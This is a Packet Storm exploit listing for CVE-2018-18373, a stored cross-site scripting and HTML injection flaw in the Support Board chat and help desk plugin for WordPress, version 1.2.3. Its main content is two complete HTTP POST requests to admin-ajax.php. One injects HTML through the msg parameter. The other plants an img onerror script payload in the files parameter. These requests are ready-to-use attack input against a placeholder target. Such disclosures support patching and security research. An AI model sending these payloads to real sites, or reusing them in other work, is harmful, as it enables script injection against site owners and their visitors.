what you don't know can hurt you

WordPress Support Board 1.2.3 Cross Site Scripting

WordPress Support Board 1.2.3 Cross Site Scripting
Posted Oct 16, 2018
Authored by Ismail Tasdelen

WordPress Support Board plugin version 1.2.3 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2018-18373
MD5 | af6a6a0585953fdcb0c07a71f31e0e1a

WordPress Support Board 1.2.3 Cross Site Scripting

Change Mirror Download
# Exploit Title: Support Board - PHP & Wordpress Plugin v1.2.3 - HTML Injection and Stored XSS
# Date: 2018-10-16
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://schiocco.com/
# Software Link : https://board.support/
# Software : Support Board - Chat And Help Desk
# Version : v1.2.3
# Vulernability Type : Code Injection
# Vulenrability : HTML Injection and Stored XSS
# CVE : CVE-2018-18373

# In the Schiocco "Support Board - Chat And Help Desk" plugin 1.2.3 for WordPress, a Stored XSS vulnerability has been discovered in file upload areas in the Chat and Help Desk sections via the msg parameter in a /wp-admin/admin-ajax.php sb_ajax_add_message action.


# HTTP POST Request : [HTML Injection]

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/desk-demo/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 288
Cookie: _ga=GA1.2.1452102121.1539634100; _gid=GA1.2.1034601494.1539634100; PHPSESSID=pljbkl7n96fpl5uicnbec21f77
Connection: close

action=sb_ajax_add_message&msg=%26%238220%3B%3E%3Ch1%3EIsmail+Tasdelen%3C%2Fh1%3E&files=&time=10%2F15%2F2018%2C+4%3A19%3A45+PM&user_id=70765091&user_img=https%3A%2F%2Fboard.support%2Fwp-content%2Fuploads%2F2017%2F07%2Fuser.jpg&user_name=James+Wilson&user_type=user&environment=wp&sb_lang=

# In the v1.2.3 version of the Support Board - Chat And Help Desk PHP & Wordpress Plugin, the Stored XSS vulnerability has been discovered in
the HTML Injection vulnerability and file upload areas in the Chat and Help Desk sections of Schiocco.

# HTTP POST Request : [Stored XSS]

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/chat/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 450
Cookie: _ga=GA1.2.1452102121.1539634100; _gid=GA1.2.1034601494.1539634100; PHPSESSID=pljbkl7n96fpl5uicnbec21f77
Connection: close

action=sb_ajax_add_message&msg=&files=https%3A%2F%2FTARGET%2Fwp-content%2Fuploads%2Fsupportboard%2F70765091%2F%22%3E%3Cimg+src%3Dx+onerror%3Dalert(%22ismailtasdelen%22)%3E.jpg%7C%22%3E%3Cimg+src%3Dx+onerror%3Dalert(%22ismailtasdelen%22)%3E.jpg&time=10%2F15%2F2018%2C+4%3A23%3A42+PM&user_id=70765091&user_img=https%3A%2F%2Fboard.support%2Fwp-content%2Fuploads%2F2017%2F07%2Fuser.jpg&user_name=James+Wilson&user_type=user&environment=wp&sb_lang=

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close